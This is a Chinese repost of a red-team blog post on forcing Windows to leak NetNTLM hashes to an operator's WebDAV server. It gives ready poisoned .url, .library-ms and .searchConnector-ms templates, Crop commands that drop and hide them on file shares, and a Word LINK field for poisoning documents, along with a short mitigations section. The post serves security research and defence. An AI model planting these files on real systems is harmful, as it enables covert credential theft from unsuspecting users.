前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >收获 NetNTLM

收获 NetNTLM

作者头像
Khan安全团队
发布2022-04-13 11:49:26
1.2K0
发布2022-04-13 11:49:26
举报
文章被收录于专栏:Khan安全团队

在 ActiveBreach 红队中,我们一直在寻找横向移动和特权升级的创新方法。对于我们运行的许多环境,专注于许多红队喜爱的经典 Active Directory 攻击不会有好的结果,因为我们经常与已将检测调整为这些众所周知的策略的防御者作战。

对于传统的内部渗透测试,最有效的策略之一是通过 LLMNR 或 netbios 中毒收集或中继 NetNTLM 哈希,您通常将自己的机器插入网络。这种攻击很容易理解并被广泛记录,撇开 LLMNR/netbios 中毒的方法不谈,NetNTLM 哈希的收集不仅非常有效,而且在大型环境中也很难检测到。

虽然从概念上讲,这是一条非常强大的攻击路径,但很少有人能有效地将其武器化以在红队交战中实际使用,在红队交战中,您通常以低权限用户的身份通过命令和控制通道进行操作。事实上,迄今为止我们所知道的大多数尝试都需要管理权限和/或安装了驱动程序来劫持 445 上的通信;先前工作的一些例子包括:

  • https://ijustwannared.team/2017/05/27/responder-and-layer-2-pivots/
  • https://diablohorn.com/2018/08/25/remote-ntlm-relaying-through-meterpreter-on-windows-port-445/
  • https://pkb1s.github.io/Relay-attacks-via-Cobalt-Strike-beacons/
  • https://github.com/Kevin-Robertson/Inveigh

最近,NCC Group 发布了Sigwhatever,它在 Outlook 签名中注入托管图像的链接,强制通过 HTTP 进行身份验证,为有针对性的内部鱼叉式网络钓鱼提供有趣的载体。

这项工作在概念上类似于我们自己在该领域的一些研究,并且已经改变了我们许多业务的游戏规则。为了为红队社区做出贡献,我们将在这篇文章中概述我们的工作。

收获哈希

为了让远程主机向您进行身份验证,例如作为遵循 UNC 路径的结果,必须满足某些条件。主要是为了尽量减少将哈希泄露到 Internet 等外部网络的可能性,您的系统必须位于“本地 Intranet”区域内。当您已经在目标的内部网络上占有一席之地时,满足此要求的最简单方法是使用系统的 NetBIOS 名称。也就是说,如果您在workstation1.contoso.com上,您应该在您的 UNC 路径中使用 station1 来强制它进入本地 Intranet 区域。

有几种服务支持身份验证请求,正如我们之前所指出的,如果没有管理员权限,从 SMB (445) 获取哈希值是非常重要的,即使这样,从 OpSec 的角度来看,这些方法也可能并不理想。另一种方法是通过 HTTP 滥用 WebDAV Mini-Redirector。

分布式创作和版本控制 (DAV) 是 HTTP 协议的扩展,有助于通过 HTTP 进行文件共享。Windows 使用 WebClient 服务实现 WebDAV,其目的是通过原生 API 调用对 Windows 应用程序进行无缝文件交互;也就是说,它被视为远程文件系统。这样做的好处是远程 HTTP 服务器可以在任何端口上运行,从红队的角度来看提供了很大的灵活性,并且允许我们避免处理已经绑定的 SMB 端口。

可以使用 UNC 路径(如\\workstation1@8080\mdsec.png.

当对启用 WebDAV 的 UNC 路径触发文件操作时,身份验证主机将执行以下操作:

  1. 发出一个 OPTIONS 方法来发现 Web 服务器支持的功能,
  2. 如果支持 PROPFIND,则发出 PROPFIND 请求方法来发现目录结构,
  3. 如果 Web 服务器以 401 Unauthorized 响应并通过 WWW-Authenticate 标头请求 NTLM 身份验证,则 WebDAV 迷你重定向器将继续启动 NTLM 质询响应身份验证,最终将 NetNTLM 哈希提供给 Web 服务器。

身份验证的整体流程可能如下所示:

为了模仿这个协议,我们创建了一个简单的基于 .NET 的线程 HTTP 服务器来处理我们命名为 Farmer 的工具中的身份验证请求。Farmer 可以在任何端口上运行,并将从任何传入连接中恢复 NetNTLM 哈希,将它们打印到屏幕上或将它们存储在文件系统上的加密日志文件中。尽管此版本目前不支持 Farmer,但也可以扩展以执行跨协议中继,例如 HTTP 到 SMB。

当然,要接受传入连接,您可能需要处理可能存在的任何基于主机的防火墙。但是,仔细查看 Windows 防火墙访问控制列表几乎总是会通过列入白名单的进程或端口提供机会(提示:seatbelt.exe WindowsFirewall)。@NinjaParanoid还说明了一些使用内置白名单 URI 的额外技巧,例如/Temporary_Listen_Addresses/在避开您遇到的防火墙限制方面可能是卓有成效的。

Farmer 可以通过 C2 通道执行,并且只需要传入的 WebDav 连接来恢复哈希:

现在我们已经概述了如何收集哈希的原理,让我们探索一些诱导用户连接到 Farmer 服务器的途径。

传播你的作物

为了开始收集 NetNTLM 哈希,我们需要强制使用来对 Farmer 服务器进行身份验证。我们当然可以只向他们发送网络钓鱼并尝试对他们进行社会工程以点击 UNC 路径,但这可能会引起怀疑。从贸易技术的角度来看,如果我们可以在用户不知情的情况下强制进行身份验证,将会更加有效。

强制进行此身份验证的最著名技术之一是通过SCF 文件,尽管从我们的测试来看,这似乎已得到解决。

SCF 强制身份验证背后的方法是通过远程托管图标,当资源管理器解析该图标时,将导致对 UNC 路径(在我们的示例中为 Farmer WebDAV 服务)指向的位置进行远程身份验证。考虑到这一点,我们提出了以下(可能不完整)可以(ab)用于效果的文件类型候选清单:

  • Windows 快捷方式 (.lnk)
  • URL 文件 (.url)
  • Windows 库文件 (.library-ms)
  • Windows 搜索连接器 (.searchConnector-ms)

让我们更详细地探讨其中的每一个。

Windows 快捷方式

Windows 快捷方式文件本身可以指向 UNC 路径,但这当然需要用户打开 LNK。但是,在LNK 文件格式中有一个称为“图标位置”的字符串值,它指向 LNK 图标文件的位置。该值由资源管理器根据HasIconLocation标志自动读取和解析;如果存在,用户只需打开包含文件夹即可强制进行身份验证。

我们可以使用 Crop 工具(我们将在下面更详细地介绍)创建一个带有指向 Farmer WebDAV 服务器的图标位置的 LNK,如下所示:

使用LECmd解析 LNK,我们可以验证 LNK 是否具有 HasIconLocation 标志,其中 Icon Location 指向 WebDAV 共享:

任何打开包含 LNK 的文件夹的用户现在都会将他们的 NetNTLM 哈希发送到 Farmer 服务器。

网址文件

URL 文件是浏览器的快捷方式,可用于打开 URL。就像 LNK 一样,URL 文件可以包含为文件显示的图标。通过在路径中指定环境变量,可以强制资源管理器在打开包含文件夹时从 UNC 路径中检索图标,例如:

代码语言:javascript
复制
[InternetShortcut]
URL=farmer
WorkingDirectory=farmer
IconFile=\\\\workstation@8888\\%USERNAME%.icon
IconIndex=1

裁剪工具(如下所述,在武器化期间)可用于创建中毒 URL 文件,如下所示:

代码语言:javascript
复制
Crop.exe \\\\fileserver\\common mdsec.url \\\\workstation@8888\\mdsec.ico

Windows 库文件

Windows 库文件是用户内容的虚拟容器,.library-ms 文件可用于指向远程或本地存储位置。

正如 Vault 7 泄漏中所暗示的,library-ms 文件的 SearchConnectorDescription 部分可以指向一个远程位置,该位置将在打开容器文件夹时再次强制通过资源管理器进行身份验证:

代码语言:javascript
复制
<?xml version="1.0" encoding="UTF-8"?>
<libraryDescription xmlns="<http://schemas.microsoft.com/windows/2009/library>">
  <name>@windows.storage.dll,-34582</name>
  <version>6</version>
  <isLibraryPinned>true</isLibraryPinned>
  <iconReference>imageres.dll,-1003</iconReference>
  <templateInfo>
    <folderType>{7d49d726-3c21-4f05-99aa-fdc2c9474656}</folderType>
  </templateInfo>
  <searchConnectorDescriptionList>
    <searchConnectorDescription>
      <isDefaultSaveLocation>true</isDefaultSaveLocation>
      <isSupported>false</isSupported>
      <simpleLocation>
        <url>\\\\workstation@8888\\mdsec</url>
      </simpleLocation>
    </searchConnectorDescription>
  </searchConnectorDescriptionList>
</libraryDescription>

裁剪工具(如下所述,在武器化期间)可用于创建中毒的 library-ms 文件,如下所示:

代码语言:javascript
复制
Crop.exe \\\\fileserver\\common mdsec.library-ms \\\\workstation@8888\\mdsec

Windows 搜索连接器

搜索连接器文件用于将用户与存储在远程位置的数据连接起来,类似于前面提到的 library-ms 文件。

搜索连接器文件格式还允许使用一个图标来自定义连接器的显示方式,这可以通过使用iconReferenceXML 标记托管在远程 URI 上,例如我们的 Farmer WebDAV 服务器:

代码语言:javascript
复制
<?xml version="1.0" encoding="UTF-8"?>
<searchConnectorDescription xmlns="<http://schemas.microsoft.com/windows/2009/searchConnector>">
    <iconReference>imageres.dll,-1002</iconReference>
    <description>Microsoft Outlook</description>
    <isSearchOnlyItem>false</isSearchOnlyItem>
    <includeInStartMenuScope>true</includeInStartMenuScope>
    <iconReference>\\\\workstation@8888\\mdsec.ico</iconReference>
    <templateInfo>
        <folderType>{91475FE5-586B-4EBA-8D75-D17434B8CDF6}</folderType>
    </templateInfo>
    <simpleLocation>
        <url>\\\\workstation@8888\\mdsec</url>
    </simpleLocation>
</searchConnectorDescription>

只需打开包含该.searchConnector-ms文件的文件夹将再次强制资源管理器进行身份验证。

武器化

为了武器化利用这些文件类型,我们创建了一个额外的工具(名为 Crop)。Crop 的工作原理是将中毒文件写入运营商控制的位置,例如网络文件共享,当用户打开该位置时,资源管理器将尝试恢复文件类型的图标文件并触发身份验证。需要注意的是,用户不需要打开文件,他们只需要打开包含的文件夹来强制认证。为了进一步传播作物,我们添加了一个 -recurse 标志,它将通过父级中的任何可写子文件夹工作并删除中毒文件。

在这种方法中,我们当然会创建各种新文件来强制进行身份验证,当然这可能会引起用户的怀疑。使这一点不那么明显的一个选项可能是设置 NTFS 隐藏属性以将其从资源管理器中屏蔽,这可以在 .NET 中轻松完成,如下所示:

代码语言:javascript
复制
File.SetAttributes(path, FileAttributes.Hidden);

施肥

我们描述的方法依赖于创建新文件,在某些情况下这可能是不可取的;或者,我们可能希望毒化现有的常用文件,以便在重新打开它们时我们可以强制进行身份验证。

企业最常用的文件类型之一是 Office 文档,这些分散在文件共享中的文件并不少见。为了毒化 Office 文档,我们创建了一个名为 Fertiliser 的附加工具。这通过获取一个现有的 Word docx 并通过注入一个指向我们远程 WebDAV 共享的新链接字段来毒化它。我们可以通过在域代码中设置“\a”指令来告诉 Word 在打开文档时自动更新链接域:

当用户打开文档时,他们将收到类似于以下内容的警告提示:

代码语言:javascript
复制
LINK Excel.Sheet.8 \\\\workstation1@8888\\mdsec.png \\a

但是,无论用户选择(是或否),NetNTLM 哈希仍然会泄露。

让我们看看这在实践中是如何工作的:

这当然可以扩展到其他办公文档和文件类型,以扩大操作员可用的选项。

缓解措施

当资源管理器尝试加载图标文件时,我们记录的大多数文件类型都会强制进行身份验证。默认情况下,资源管理器配置为在网络文件夹上显示缩略图和图标,但是可以使用“ DisableThumbnailsOnNetworkFolders”和“ DisableThumbnails”组策略设置禁用此行为。

启用这些设置将阻止 Explorer 加载图标文件,从而限制对该技术的曝光。但是,它当然不能防止使用链接字段污染 Office 文档。

进一步的工作

有许多潜在领域可以改进这种工具和方法,其中一些仍在我们的雷达上进行调查。

首先,可能还有许多其他可能感兴趣的其他文件类型,其中一些可能不受禁用从网络共享加载图标的影响;我们欢迎社区提交任何意见,以扩大裁剪工具的范围。此外,其他 Office 文档(如 Excel 和 PowerPoint 文件)无疑容易受到现场链接或类似的远程资源注入的影响,并且是扩展 Fertiliser 的良好候选者。

最后,通过引入跨协议中继(例如从 HTTP 到 SMB 或 LDAP)可以显着增强该技术的整体影响。这是我们目前正在努力的事情,希望能够在不久的将来推动。

本文系转载,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文系转载前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 收获哈希
  • 传播你的作物
    • Windows 快捷方式
      • 网址文件
        • Windows 库文件
          • Windows 搜索连接器
            • 武器化
              • 施肥
              • 缓解措施
              • 进一步的工作
              相关产品与服务
              多因子身份认证
              多因子身份认证(Multi-factor Authentication Service,MFAS)的目的是建立一个多层次的防御体系,通过结合两种或三种认证因子(基于记忆的/基于持有物的/基于生物特征的认证因子)验证访问者的身份,使系统或资源更加安全。攻击者即使破解单一因子(如口令、人脸),应用的安全依然可以得到保障。
              领券
              问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档